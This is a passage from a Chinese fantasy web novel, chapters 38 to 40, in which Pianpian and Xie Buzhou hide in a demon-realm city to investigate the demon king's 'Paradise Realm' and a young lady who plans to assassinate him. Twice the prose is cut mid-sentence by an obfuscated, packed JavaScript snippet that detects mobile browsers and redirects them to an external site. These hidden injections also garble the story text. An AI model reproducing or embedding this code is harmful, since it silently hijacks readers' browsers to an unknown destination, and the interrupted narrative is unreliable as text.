“忘川镜的碎片会自己接近那个妖王,就好像——把他当作自己的主人一样。” “所以我们接下来?”谢不舟问。 “不入虎穴,焉得虎子。”翩翩一笑。 那笑容里没有方才的怅惘和哀叹,取而代之的是一种久违的跃跃欲试,“我们接下来,不妨就去妖界会一会,这万年妖王——” 她停了一下,念出了那个名字。 “无忧。” 短促的两个字落在夜风里,被雨丝卷着带出了洞口,飘向漆黑的远方。 云端极深极远处,隐约有雷声滚过,低沉而绵长,像是有什么沉睡万年的巨兽,在这个雨夜里翻了个身。 谢不舟站在翩翩身后,看着她的背影。 火光下,翩翩的身躯依旧单薄。她久违的伸了个懒腰,在雨幕中,她的笑容明亮无忧。 一切的友情、羁绊、背叛、与骂名,飘散在雨里,于是她迈出轻盈的步伐,去往远方。 谢不舟没有说话,只是把善恶剑按回剑鞘里,跟上翩翩的脚步。 洞外的雨,终于停了。 38. 妖王界其一 妖界十三城,各有各的古怪。 玉阆城在其中算不得最繁华,也算不得最险恶。 往北去有座万妖窟,终日鬼哭狼嚎。往南走有条不归川,河水黑得像墨汁,据说掉进去的妖连根毛都浮不上来。 比起那些地方,玉阆城简直称得上温柔。 街面上铺着青石板,巷子深处有卖糖炒栗子的摊子,屋檐下挂着褪了色的布幌子,风一吹就懒洋洋地翻个身。 唯独这顶头的月亮,生得与他处不同。 并非寻常的皎洁银盘,而是一轮终年不散的、泫然欲泣般的巨大红月。 初来乍到的外乡人往往会被这红月亮唬住,仰着脖子看半天,嘴里念叨着不祥之兆。 可玉阆城的妖们早就习惯了,该吃吃该喝喝,甚至觉得这红月亮看着就喜庆—— 谁知道呢,住久了,审美总是会出点问题。 在这红月笼罩下,城南一家低矮酒馆里正喧闹着。 酒馆的门匾上歪歪扭扭刻着两个字:忘忧。 三三两两的妖凑在粗糙的木桌旁,就着劣酒和寥寥几碟盐水煮豆、卤兽肉,高声谈笑。 他们修为低微,化形之术也蹩脚得很,不是顶着一对毛茸茸的兽耳,就是身后拖着条尾巴,随着情绪不安分地摆动。 “啧,什么时候妖王大人的极乐域,才能轮到我去见识见识啊?” 一只犬妖仰头灌了口浑浊的酒液,咂摸着嘴,眼里全是憧憬,身后那条大黄尾巴不受控制地左右摇晃,扫起地上些许浮尘。 “快了快了!说不定明年这时候,就是哥几个在这儿给你送行啦!”接话的是一只狸猫妖,尖瘦的脸上泛着红光,得意几乎要从那几根颤动的胡须里溢出来。 他今年走了大运,被选中前往极乐域,高兴得将攒了不知多少年的家底都掏了出来,非要请这几位狐朋狗友喝上一顿。 极乐域—— 妖王无忧登基万年后,向整个妖族许诺的神奇之地。 据闻那里是专属于妖族的忘川,是轮回的起点,是改变命运的通天梯。 妖族不比人族,死后魂魄无依,不入轮回,直接消散于天地间,是真正的身死魂消。 因此,几年前妖王宣布将倾力打造极乐域,凡被选中的下层妖族,皆可入内,获得再度转世、重择命途的机会时,整个妖界都为之沸腾。 尤其是对这些生于尘埃、天赋低劣、寿数短暂的下层小妖而言,这近乎是唯一的、触手可及的翻身希望。 当然,也有嗤之以鼻者。 来世?轮回? 虚无缥缈的承诺,谁能证实? 那有去无回的极乐域,谁知道里面是极乐净土,还是噬魂阎罗殿? 可即使他们这么讲,能去极乐域的资格,也不是轻易能够取得的。 每年十三城加起来只选寥寥数十名,每一个名额都让那些底层小妖抢破了头。 而此刻,狸猫妖手里正紧紧攥着一枚普普通通的骰子。 不止他有,就连他的其他伙伴,包括整个酒馆里坐着站着的妖,几乎人手一枚。 此骰名为如意骰,是小妖们进入极乐域的关键。 说起它的来历,也算是妖王本人的恶趣味。 那还是妖王无忧刚掌管妖界的头几年。 彼时十三城各怀心思,城主的权柄比妖王也差不了多少,整个妖界像一盘散沙,谁都不服谁。 一日,一个胆大包天的刺客混进妖王殿,刺杀了十三城城主之一。 刺客被当场擒获,五花大绑地押上大殿,跪在冰冷的黑石地面上瑟瑟发抖,等着妖王下令处死。 换作别的君王,大概就是一道旨意的事——凌迟、车裂、挫骨扬灰,手段多的是。 可妖王无忧偏偏不走寻常路。 他看着殿下的死囚,那位传闻中的万年妖王托着腮,修长的手指在扶手上敲了敲,忽然微微笑起来。那笑容并不阴冷,也不凶狠,反倒带着一种孩童发现了新奇玩具时的雀跃。 “不然我用骰子决定你的命运如何?” 年轻妖王说道。 殿下跪着的死囚愣住了,两侧侍立的臣属也愣住了。 没有人知道那个犯人最后的结局是什么—— 被处死还是被赦免,又或者是别的什么结局。 当日在大殿上侍奉的侍者后来喝醉了酒,跟人说他看到死囚走出大殿时双腿还在打颤,脸上说不清是哭是笑。 但这些都不重要。 重要的是,妖王似乎彻底迷上了这种用骰子决定一切的方式。 他先是自己用,然后让身边的人用,最后干脆颁布了一道王令,让每个妖界子民人手一枚六面骰子。 小到日常事务,大到生死命运,皆可用一枚小小的骰子解决。 有人说这是妖王的仁慈,给了天命最不眷顾的那群底层妖一个翻身的可能。 也有人说这只是妖王的一个游戏,整个妖界都是他的棋盘,而所有妖都是他随手掷出的骰子。 不管外头怎么议论,如意骰已经变成了妖界妖妖手边不可或缺的物件,和人族出门要带钱袋一样自然。 “说起来还没正经恭喜你呢,兄弟!” 旁边一只羽毛色泽暗淡的鸟妖举起破口的陶碗,用力跟狸猫碰了一下,溅出几滴酒水,他眼里满是羡慕,“等你下辈子投胎成了哪座城池的贵公子,飞黄腾达了,可千万别忘了我们这些一起啃过硬骨头、喝过劣酒的同患难啊!” “嘿,哥们,你怕是喝迷糊了吧?” 最后一只红狐狸眯着狭长的眼睛,尖声尖气地吐槽,“去了极乐域,再度轮回,前尘往事可都得忘光光!到时候啊,咱们的小狸猫说不定正被成群奴仆簇拥着,嫌我们这群贱民挡了他的道,挥着鞭子赶我们走呢!” “哪里哪里,不敢不敢……” 狸猫妖被说得不好意思,挠着头,脸上却笑得见牙不见眼,显然对那描绘的场景受用得很。 他呲着两颗尖尖的小虎牙,猫耳朵往两边压了压,尾巴在身后盘成一个得意的卷。 而他旁边那只犬妖已经又灌了一碗酒,大着舌头接话:“就是就是,苟富贵勿相忘嘛,你狸猫哥不是那种……” 话说到一半,他打了个酒嗝,后半句含含糊糊地吞了回去,整个人趴在桌上嘿嘿傻笑。 一时间,桌上充满了快活的空气。 几杯浊酒下肚,仿佛光明璀璨的来世已近在眼前,伸手就能摸到。 那来世里有锦衣玉食,有完整的化形,有从出生起就高人一等的地位。 这些他们这辈子拼了命也得不到的东西,只要去一趟极乐域,就全都有了。 “哼,极乐域?有什么好的?” 一个清亮又带着明显讥诮的女声,冷不丁从旁边一桌响起。 “不过是妖王弄出来糊弄你们这些傻子的玩意儿罢了。” 正聊得热火朝天的几只妖如同被掐住了脖子,笑声戛然而止。 犬妖最先反应过来—— 也许是酒壮了胆,也许是被戳中了痛处,他砰地一拍桌子站起身,酒碗在桌上弹了两下,怒目扫向旁边那桌:“谁?怎么说话呢!” 只见那桌只坐了一位女妖。 她年纪不大,通身的做派却大得很。 穿一身剪裁利落的锦缎劲装,料子在昏暗的灯光下泛着低调的光泽,一看就知不是便宜货。而最引人注意的是她周身竟无半分兽态特征显露—— 这意味着要么她修为极高,化形已臻完美。要么她血统纯粹,生来便是人形。 这两样,哪一样都不是这酒馆里的小妖能招惹的。 她身旁还站着个做侍女打扮的小姑娘,低垂着脑袋,身后垂着一条蓬松的松鼠尾巴。 “怎么,诸位觉得我说得不对?” 那女妖,正是玉阆城主祝平安的独女—— 祝愿。 她微微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530125|202494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扬起下巴,目光扫过眼前这几只明显底气不足的小妖。 犬妖嚣张的气焰瞬间熄了大半,张了张嘴,没敢再大声呵斥。 祝愿却不打算就此放过,她站起身,踱步到他们桌旁,声音清晰地传入每只妖,乃至酒馆里其他竖着耳朵偷听的妖耳中:“所谓极乐域,就是妖王明摆着让你们去送死的。极乐,极乐,早日步入往生极乐!可死都死了,你怎么知道妖王承诺的转生后的荣华富贵是真是假?” 她顿了顿,目光逐一掠过犬妖、鸟妖、红狐狸,最后定格在今晚的主角—— 那只狸猫妖身上。 语气愈发锐利:“还是说,你们有谁亲眼见过、亲身体验过?有谁认识的朋友、亲戚,从极乐域往生后,转世投胎成了妖界哪位城主的孩子、哪位大妖的继承人?有吗?” 酒馆内一时寂静,只有粗重的呼吸声。 几只妖面面相觑,从彼此眼中只看到了茫然和一丝被戳破幻想后的无措。 他们的尾巴和耳朵本能地高高竖起,透露出内心的紧张和动摇。 祝愿见状,轻轻哼笑一声,那笑声里的冷意让几只小妖忍不住缩了缩脖子。 她清了清嗓子,抬高声调,带着一种近乎传道般的笃定:“妖族身死魂销,人族进入轮回,此乃天道定数,规律使然!妖王逆天而行,弄出这么个虚无缥缈的极乐域,谁知道他背后打着什么主意?将渺茫的希望寄托于虚无的来世?” 她的目光扫过全场,带着一种众人皆醉我独醒的傲然:“我们真正该做的,是脚踏实地,珍惜当下!生命既然只有一次,为何不努力过好眼前的每一天,反而要去追求那镜花水月的来世?” 话音未落,她抬起了右手。 手里是一枚骰子。 与酒馆里那些骨质木质的如意骰不同,她手里这一枚是玉石的,通体莹白,玲珑六面,每一面都在昏暗的灯火下闪烁着淡淡的金光。 她双手一抛。 玉石骰子在半空中不断翻转,金光随着骰子的旋转画出一道道细碎的光弧。 酒馆里所有的目光都追着那枚骰子,看它翻滚,看它旋转,看它在半空中划出一道弧线,然后—— 啪嗒。 骰子落在粗糙的木桌上,弹了一下,又弹了一下,最后稳稳当当地停住。 金色的六。 玉阆祝愿,逢赌必赢。 从她出生以来,每一次摇到的点数,毫无意外,皆是六六大顺。 短暂的寂静之后,酒馆里突然爆发出热烈的掌声。 “好!说得好!” “如此清醒的发言,振聋发聩啊!” “这位……莫非就是玉阆城主家的祝愿祝小姐?久仰大名,今日一见,果然名不虚传!” “是啊是啊,一直听说祝小姐见识不凡,心系我们这些底层小妖,今日听君一席话,胜修十年道啊!” ……… 赞誉之声如同潮水般从四面八方涌来。 方才那几个被质问得哑口无言的小妖—— 犬妖、鸟妖、红狐狸,甚至包括那只狸猫—— 此刻也像是被集体操控了心神,跟着用力鼓掌。 他们的脸上洋溢着被点醒的感激和崇拜,方才的动摇和不安一扫而空。 祝愿站在掌声的中央,嘴角那抹胜券在握的笑终于压不住了。 她拱手,对着四周虚虚一礼,嘴里说着“诸位过奖了,先天下之忧而忧,后天下之乐而乐,此乃我辈本分”之类的谦逊之词,声音却比方才说话时还要亮了几分。 那双明亮的眼睛里写满了压不住的骄傲与得意,嘴角的弧度越翘越高,整个人像是在发着光—— 或者说,她觉得自己在发光。 她对身边的侍女扬了扬下巴,声音里还带着未散的得意。 “小松鼠,我们走!” “知道了,小姐。”被称作小松鼠的侍女眨眨眼。 正是翩翩。 39. 妖王界其二 听到呼唤,翩翩无奈地叹了口气,小声提醒:“小姐,我们……账还没结呢。” 祝愿脚步一顿,觉得如此小事何须挂齿,摆了摆手,让翩翩结账。 翩翩走到柜台前,那条按上的假松鼠尾巴在她身后不太自然地晃了晃。 掌柜是只上了年纪的鸟妖,脸上褶子堆叠。 此刻正带着谄媚又忐忑的笑容。 翩翩站定在柜台前,深吸一口气,从怀里掏出一枚如意骰。 掌柜伸手在柜台上虚虚一引,那意思是:您请。 翩翩认命地叹了口气。 这年头,连吃个饭结账都要骰子决定。 她走南闯北这么多年,什么稀奇古怪的规矩没见过? 可如意骰这东西,简直是把随便两个字刻在了脑门上。 付账靠骰子,打架靠骰子,甚至买条鱼都要先掷个骰子决定—— 双数就买,单数就不买。 她实在是无法理解妖王的趣味。 还真是闲得发慌。 她两根手指捏着那枚小小的骰子,放到嘴边哈了口气—— 然后她手指一松,骰子打着旋往桌面上落。 咕噜噜—— 骰子在柜台上滚了几圈,终于停住。 翩翩低头一看,嘴角抽搐了一下。 一个雷打不动的一。 柜台上方的掌柜看到这个点数,脸上表情纹丝不动,显然是见惯了这种场面。 倒是旁边几个凑过来看热闹的妖,发出了善意的哄笑。 翩翩简直欲哭无泪。 她的手气一直以来都很糟糕。 从小到大,逢赌必输,除了划拳,跟司杏玩别的都能连输二十把。 本以为她走南闯北这么多年,也找不到什么非得用手气的地方—— 打架靠拳头,办事靠脑子,她哪样都不缺。 谁曾想…… 她竟有一天会来到妖界。 而妖界的一切,都要靠这该死的骰子决定。 “按原先账结了就好。”掌柜的露出职业性的微笑,把算盘拨拉了几下,报了个数。 翩翩把最后一枚铜板数完,刚要转身离开,脚步却不由自主地顿住了。 她转头看向角落里那张木桌。 那只狸猫妖正低着头,把他那枚普通的如意骰翻来覆去地摸。 他的猫耳朵微微压着,像是在想什么,又像是在说服自己什么。嘴角那抹羞涩而期待的笑容,一直没有消散。 “对了。”翩翩开口。 狸猫妖抬起头,猫耳朵刷地竖了起来。 “你……真的被选中要去极乐域了吗?” 狸猫妖愣了一下,随即用力点头。 他脸上泛起一丝红晕,连带着耳根子都泛着红,猫耳朵往里折了折,显得有几分不好意思。 “嗯嗯!姑娘,我明天一早就出发。” 狸猫妖搓了搓手,低头看了看桌上那枚被磨得发亮的骰子,声音低了些,“这不,想着临走前多赚点钱,留给家里。以后……以后就算他们站到我面前,我也不认得啦。” 他的声音里起初带着离别的伤感,尾巴也在身后无精打采地垂了下去。 可很快,那双圆溜溜的眼睛里又重新充满了光。 “不过没关系!去了极乐域,就能重新投胎,改变命运!” 他说到这里,忽然抬起头,直直地看向翩翩。那双眼睛里没有丝毫犹豫,也没有丝毫怀疑。 他的语气笃定得像是已经亲眼看到了那片传说中的净土,看到了来世的自己穿着锦衣华服走在玉石铺成的街道上。 “妖王大人……” 狸猫妖的眼里写满了憧憬。 “真是个顶顶好的大好人!” 翩翩张了张嘴,可直到最后,也只是轻轻点了点头,道了声“保重”,便不再多言,转身离去。 门外,玉阆城巨大的红月悬于中天。 长街上依旧人声鼎沸。 吆喝叫卖声此起彼伏。 在这血色的背景下,一切热闹都仿佛隔了一层,透出一种光怪陆离的虚假感。 就好像这些妖并不是真的在生活,而是在演一出戏,演给头顶那轮红月亮看。 祝愿已经等得不耐烦了,正站在街边伸着脖子朝她的方向张望,一只手插着腰,另一只手朝她挥舞。 翩翩没听清她想要说些什么,但从口型来看,八成是在催她快点儿。 翩翩加快脚步,就在她即将走出屋檐投下的阴影时,余光掠过了对面房檐上的一点白。 她脚步未停,只是微微抬头。 对面三层高的酒楼顶上,一抹白色的身影抱臂而立。 夜风拂过他的衣摆和袖口,将那一身白衣吹得猎猎作响,他整个人却纹丝不动,像是一尊被人搁在屋顶上的玉雕。 是谢不舟。 准确来说,是白日谢。 红月的血光落在他白衣上,将那素净的白染成了一种淡淡的绯色,远远看去像是染了血。 说起她和白日谢是如何达成了友好的相处—— 那还真是有些出乎翩翩的意料。 那日她和午夜谢在暴雨中逃出玉宸宫,一路奔波赶到妖界边界。 正急匆匆地把假松鼠尾巴带在身后—— 偏偏麻绳非往细处断。 自己的手被人一把握住了。 谢不舟握住了她的手,带着一种近乎刻意的疏离。 他低头看了看自己的手,又看了看面前的翩翩,眉头微微皱起,像是在嫌弃刚才那个自己。 翩翩僵在原地。 她的脑子在那一瞬间飞速运转起来—— 完蛋。 这是白日谢回来了…… 白日谢! 要是他知道自己被她连累得叛逃宗门…… 被她害得在整个正道面前背上恋爱脑的罪名…… 天杀的。 所以………她现在跑还来得及吗? 就在翩翩胡思乱想、盘算着该怎么慷慨赴死的时候,谢不舟转过了身。 他只是淡淡看了她一眼,那眼神跟看路边一棵杂草没什么区别。 然后他开口,声音冷淡,语调平稳,像是说着再正常不过的话。 “还不跟上?” ? ?? ??? 一连串的问号在翩翩脑海里炸开。 她一脸疑惑地看着谢不舟的背影,等了半天,他也没有回头抽剑砍她,只是背对着她站在那里,像是真的在等她跟上来。 翩翩小心翼翼地往前挪了两步,又停住,又挪了两步。那副样子像一只伸出爪子试探的猫,随时准备缩回去。 然后她哆哆嗦嗦地开口:“谢,谢师兄……这几日的事……你记得多少?” 谢不舟的脚步停了一瞬。 他没有回头。 沉默了片刻。 就在翩翩以为谢不舟不打算回答了、准备再往后挪两步的时候,他开口了。 “全部。” 翩翩脑海里刚才那些问号瞬间全部粉碎,只剩下两个大字—— 完蛋。 这就是判了个死缓,缓期执行。 等谢不舟把该办的事办完,该查的线索查完,她的脑袋是不是长在脖子上,而是抱在怀里了。 然而谢不舟接下来说的话,却让翩翩愣在了原地。 “那晚,我听到了。”谢不舟道。 他的语气少见地有了一丝犹豫,像是在说一件不太习惯说的事,声音也没有方才那么冷硬,“我听到了你和那个我的谈话。” 翩翩歪了歪头。 所以呢? “我听到了你……也想找到忘川镜的下落,洗刷自己的冤屈。” 谢不舟转过身来,隔着几步的距离看着她。血色的红月光从天空漫过来,照亮了他半张脸,另外半张脸还藏在阴影里。 他的神情一如既往地冷淡,但那双眼睛里似乎有某种东西在松动—— “所以我决定与你一道,” 他说,“既是为了监视,也是……为了找寻忘川镜的线索。” 谢不舟抬起手,反手握住了背上的剑柄。善恶剑微微嗡鸣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534461|202494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,像是在回应主人的心意。 “当然,如果你有半句欺骗——” 谢不舟的声音骤然发冷。 他的话没有说完,但善恶剑的嗡鸣已经替他把没说完的半句话给补上了。 翩翩缩了缩脖子。 于是乎,为了继续追查忘川镜碎片的线索,她和谢不舟隐去身份,分别成了祝家的一个女婢,以及护卫。 此刻,祝愿正蹲在一个卖艺的虎妖摊前,看得津津有味。 那虎妖体型魁梧得夸张,蹲着都比旁边站着的妖高出一个头。 此刻他正卖力地钻着一个又一个燃着火焰的铁圈,铁圈被他那庞大的身躯带得摇摇晃晃,火焰舔着他的毛皮,燎出一股焦糊味。 每一次跳跃都引得周围小妖阵阵喝彩,那些喝彩声里掺杂着此起彼伏的骰子声—— 有妖在押他下一跳会不会被烧着。 祝愿看得眼睛都直了。 她毫不吝啬地叫好,声音比旁边所有妖加在一起都响亮。 然后她随手从腰间的储物袋里抓出一把灵石,看也不看就丢进虎妖讨赏的钱篓里。 哗啦一声。 周围一片抽气声。 见到翩翩走过来,祝愿立刻站起身,拍了拍膝盖上的灰尘。她撅起嘴,脸颊微微鼓起,语气里带着几分不满。 “你怎么去了这么久?磨磨蹭蹭的!咱们接下来可是有重要任务的!” 话是这么说,她那双灵动的眼睛里却闪烁着极度兴奋的光芒。 翩翩默默扶额,心中哀叹。 来了,又来了。 这位大小姐的救世主病,怕是又到了发作的时候。 祝愿,妖界十三城之一玉阆城城主祝平安的掌上明珠。 她爹祝平安在十三城城主里头不算最有权势的,也不算最会做人的,但绝对是最会惯闺女的。 祝愿自幼千娇万宠,要风得风,要雨得雨。 许是日子过得太顺遂无聊,她不迷恋华服美饰,不痴迷修行进阶,偏偏对那些话本子里救世主拯救苍生的桥段走火入魔。 据府里的老仆说,小姐十三岁那年看了第一本《救世奇侠传》,看得三天三夜没合眼,看完把书往桌上一拍—— 当场宣布了自己的人生理想。 并且,她坚定不移地认为自己就是那个被天道选中的、注定要救世间万物于水火的唯一救世主。 按理说,有这么一个志向远大的女儿,城主祝平安和满城小妖该感到欣慰才是。 然而,事实恰恰相反。 这位救世主折腾起来,其破坏力往往比她想要拯救的危难本身还要大。 可以说,祝愿小姐本人—— 就是玉阆城和平安宁生活的最大不稳定因素。 也是城主府上下头疼不已的危难之源。 果然,祝愿完全没有察觉到翩翩的无语。 她挺起胸膛,胸口那枚城主府的玉牌在月光下闪了闪。她单手叉腰,另一只手豪迈地一挥。 “毕竟,像本小姐这样的天命救世主,是一刻都不能停歇的!妖界迷雾重重,众生沉沦苦海,正需要我辈挺身而出,拨云见日!” 翩翩嘴角抽搐了一下。 她不动声色地往旁边挪了半步,又挪了半步。 试图用距离来表示我跟这个家伙不太熟。 她眼角余光瞥见周围摆摊的、路过的妖们。 在心里长长舒了口气。 幸亏,幸亏这里是玉阆城。 幸亏—— 从城主到平民,大家早已达成了共识,都在陪着这位小祖宗一起演这场盛大的救世主戏剧。 只求她玩得开心。 只是她的心里掠过一丝说不清道不明的、隐隐的不安。 这妖界的风雨,似乎比修仙界来得还要诡谲莫测。那些看似坚固的东西,那些看似温暖的东西,那些让狸猫妖眼里亮起光芒的承诺—— 底下到底藏着什么? 而身边这位正兴致勃勃挥舞着拳头的救世主大小姐,这次又想拯救什么呢? 翩翩总有种不太好的预感。 40. 妖王宫其三 “所以,截至目前……” 谢不舟的声音从身侧传来,“你有没有发现关于忘川镜的相关线索?” 午夜红月当悬,他正和翩翩坐在城主府的屋顶上。 两人之间隔了不到一臂的距离。 这倒不是因为亲近,而是这处屋脊能落脚的平整地方实在有限。檐角的螭吻兽脊在他们身后投下巨大的阴影。 于是正正好将两人的身形遮了个严实。 凉风吹拂。 那轮血月近在眼前,月光将满城的青瓦都洗成了一种陈旧的赭红色,也将谢不舟的白衣染上了一层淡淡的绯。 翩翩没有回答谢不舟的问题。 她的目光落在远处。 从这屋顶望下去,能看见玉阆城层层叠叠的屋顶如鱼鳞般铺开,其间夹杂着几盏未熄的灯火,像是将灭未灭的炭火,在血色的夜里苟延残喘。 更远处,城南忘忧酒馆的幌子还在风里摇晃,隔着这么远,翩翩当然听不见里面的喧闹声,但她还是忍不住往那个方向看了一眼。 她想起方才酒馆里那只狸猫妖。 然后翩翩忽然开口,声音被风卷着飘向远处:“谢师兄是如何看待妖界的极乐域?” 谢不舟微微侧过头。 “一个虚假的承诺。” 他道,“没人真正知道它是否能够兑现。” “那些进了极乐域的妖,从没有人回来过。没有书信,没有口信,连梦里托一句话的都没有。生不见妖,死不见魂——” “极乐域的大门朝里开,却不朝外开。” 谢不舟顿了一下,补充道:“说起来……这极乐域,是在这十几年内才新出的。” 十几年。 对于凡人来说,这是一个从襁褓到少年的跨度。 对于修真者来说,不过弹指一挥间。 而对于妖王无忧那样活了万年的存在来说,十几年大概只够他打个盹。 “刚刚好也在忘川镜失踪的时间范围内。” 翩翩冷不丁接了一句。 她转过头看向谢不舟。 谢不舟也在看她。 月色之下,翩翩的表情显得格外认真。那双平日里总带着几分不正经的眼睛,此刻沉静如水,水面上的倒影是谢不舟自己。 他的眉梢微微一动。 “你的意思是——” 翩翩低下头,把目光收了回去。她玩弄着自己的假松鼠尾巴,指尖有一下没一下地捋着那蓬松的毛。 那尾巴在她膝上盘成一团,毛茸茸的,看着倒是比她的神色要轻松得多。 “什么转世投胎,给小妖们一次重新选择的机会——” “换种说法,你就不觉得……” 翩翩抬起眼,看向谢不舟。 “这个妖王就是在创造妖界的忘川。” 话音落下的时候,一阵风恰好从两人之间穿过。 两人都沉默了。 他们都知道,如果这个猜测正确,那意味着什么。 意味着当日妖王出现在鲛人镇,离歌手中那枚忘川镜碎片朝他飘去,不是偶然。 意味着妖王收集忘川镜碎片,不是觊觎上古神器的威力,而是要用它做一件更疯狂的事—— 那就…… 很完蛋了啊。 翩翩在心里哀叹。 她记性不算好。 但她记得万年前长明人族之所以全部被灭,最初最初的原因—— 就是因为妖族觊觎长明人族的忘川。 如今这算什么? 故事的轮回吗? 长明族灭了,忘川镜碎了,妖王便开始亲手打造一个新的。 翩翩觉得自己一个头两个大。 她抬起手揉了揉太阳穴,指尖冰凉。 那些被她捋顺的松鼠尾巴毛又被风吹乱了,蓬蓬地炸成一团。 翩翩望向谢不舟,却见他也是一样地皱着眉头。 谢不舟大概也在想同一件事。 “不过眼下我们这些也只是推测。” 谢不舟开口了。他的声音还是一贯的沉稳,不急不缓。 “如果想要找到相关线索,怕是……” “还是得去趟妖王宫。” 翩翩点点头。 她同意谢不舟的看法。 推测终归是推测,坐在城主府的屋顶上想破脑袋也变不出证据。 想知道妖王到底在做什么,想知道忘川镜碎片的真正下落,就得去那个所有线索最终汇聚的地方。 但妖王宫啊。 翩翩的笑成了苦瓜。 毕竟是妖王宫啊。 层层大妖把守。 禁制密如蛛网,每一道门槛上都刻着杀阵。 更不要提妖王无忧本人—— 从长明人族活着时他便已然存在,万年前便已是妖族至尊,如今更是打遍天下无敌手。 于是翩翩认真发问:“你打得过妖王吗?” 谢不舟坦言道:“妖界与人界向来井水不犯河水,我未与他交过手,但从那天和他在鲛人镇的接触来看……四分胜算。” “那你呢?” 谢不舟反问,“打得过吗?” 有着午夜谢记忆的他,已经知道当时翩翩在善见天面对玉宸宫众弟子时的身手。 岂料,翩翩却答:“能跑。” 谢不舟:“……” 他沉默了好一会儿,沉默里带着几分不知如何往下接的无奈。 随后谢不舟重新开口,声音不重,语气笃定:“但即使如此,明知不可为,但我们还要为之。” “……” “?” 翩翩眨了眨眼。 她脑子里只抓住了什么明知不可为,什么而为之。 请原谅她才疏学浅。 她一个乡野出身摸爬滚打长大的野路子,字都认不全。 对这种文绉绉的话最是没辙。 谢不舟看了她一眼。然后叹气,重新说了一遍,用翩翩能听懂的人话。 “即使如此,为了忘川镜之祸,我们无论如何还是要前往妖王宫。” 这回翩翩总算听懂了。作为二周目的重生者,她知道,目前没有比去妖王宫更好的方式。 尤其她身上还背负着盗取忘川镜的罪名。 不过。 妖王宫啊。 翩翩眨眨眼。 话说眼下,他们就有一个去往妖王宫的好机会。 她在几日前,无意间翻到了祝愿的密匣—— 发现了一些很有意思的东西。 一份高价购买的前往极乐域的名额,以及通过各种渠道搜罗来的妖王宫地图。 可能城主府的侍卫以及城主本人做梦都想不到…… 自家小姐正偷偷筹划着怎样惊天动地的大事。 ————— 抱着略显沉重的心情,翩翩回到了恢弘气派的城主府。 府内灵气氤氲,奇花异草繁盛,与街市上的烟火气截然不同,恍如两个世界。 她推开书房那扇沉木雕花的大门,一眼便看到了内里的情景。 城主祝平安端坐在铺着雪白妖兽皮毛的宽大座椅上,而他那宝贝女儿祝愿,正毫无形象地枕在他的膝头,晃着双脚,嘴里叽叽喳喳地说个不停。 “阿爹,我今天可是一股气做了好多事呢!” 祝愿的声音带着炫耀,“帮鹤爷爷赶跑了城东的妖兽,还收到了大家送的好多谢礼!城里好多妖们都受到我的恩惠呢!” 祝平安低头看着女儿,大手轻轻抚摸着她的发顶,语气满是纵容和骄傲:“嗯,我女儿真棒!” “那是!” 祝愿得意地扬起小脸,“阿爹,我感觉我以后会有大出息的!那个算命的小妖都说我是做大事的人!你就等着享你女儿的清福吧!” 祝平安依旧是那副毫无原则的夸赞模式,仿佛女儿放个屁都是香的:“我女儿真棒!” 最后,祝愿忽然从祝平安膝头翻身坐起,脸上嬉笑的神色一收,取而代之的是一种近乎肃穆的坚定。 她站起身,深邃的目光穿透雕花窗棂,遥遥望向远方—— 那个方向,正是妖界权力中心,妖王域所在。 她用一种清晰而决绝,掷地有声的语调,一字一句地宣布: “阿爹,我决定了——我要去刺杀妖王!” 祝平安:“我女儿——” ??? 他脸上的笑容瞬间僵住,慈父的表情凝固,然后寸寸碎裂。 他甚至没能把那句惯性的真棒说完。 “你……你你要去刺杀……谁?” 祝平安的声音都在发抖,虽然贵为一城之主,但提起那位存在,他哆哆嗦嗦地,甚至连那个尊号都不敢完整地说出口。 但他的宝贝女儿,却用一种初生牛犊不怕虎的、无比清晰的嗓音,再次重复了那个足以震动整个妖界的名字。 “我、要、去、刺、杀、妖、王、无、忧。” 噗通一声。 玉阆城城主祝平安,终于被他这唯一心爱的女儿,吓得直接从椅子上滑落,双膝一软,跪倒在了冰凉的地板上。 被迫听完全程的翩翩:“……” 她默默抬头,看了看书房顶部绘制着的祥云仙鹤彩绘,内心一片麻木。 好了,到她出场收拾残局的时候了。 “咳咳。”翩翩清了清嗓子,适时地迈步走了进去,仿佛刚到的样子。 祝愿满脸兴奋和坚定,显然还沉浸在自己伟大的刺杀计划里。 没怎么关注她那个已经碎成一地、正试图从地上爬起来的爹。 “翩翩你怎么现在才回来?” 祝愿看到她,随口问道,“大家送给我的那些谢礼,你都好好入库登记啦?” 翩翩心下腹诽。 那本来就是城主府自家库房里搬出来,绕一圈又搬回去的东西。 搬来搬去的可是她自己! 她面上却不动声色,只是心累地点了点头。 祝平安在此时终于勉强扶着自己的老腰站了起来,脸色还有些发白,他冲着祝愿摆了摆手,声音带着一丝虚弱:“小愿啊,你……你先出去,爹跟翩翩有点事情要交代。” “哼,你们又背着我偷偷说悄悄话。”祝愿撅了撅嘴,抱怨了两句。 她此刻心潮澎湃,正需要独自去规划她的刺杀大业,于是也没多纠缠,很是潇洒地一转身,裙摆划出一道弧线,离开了书房。 因为救世主显然还有更重要的蓝图需要绘制。 确认女儿走远了,祝平安才长长吁出一口气,擦了擦额角并不存在的冷汗,看向翩翩:“所以……今天街上的事情,都办妥了?小姐没发现什么不对劲吧?” “没发现。”翩翩秉公汇报,语气平淡。 祝平安这才真正松了口气,抚着胸口:“那就好,那就好……” 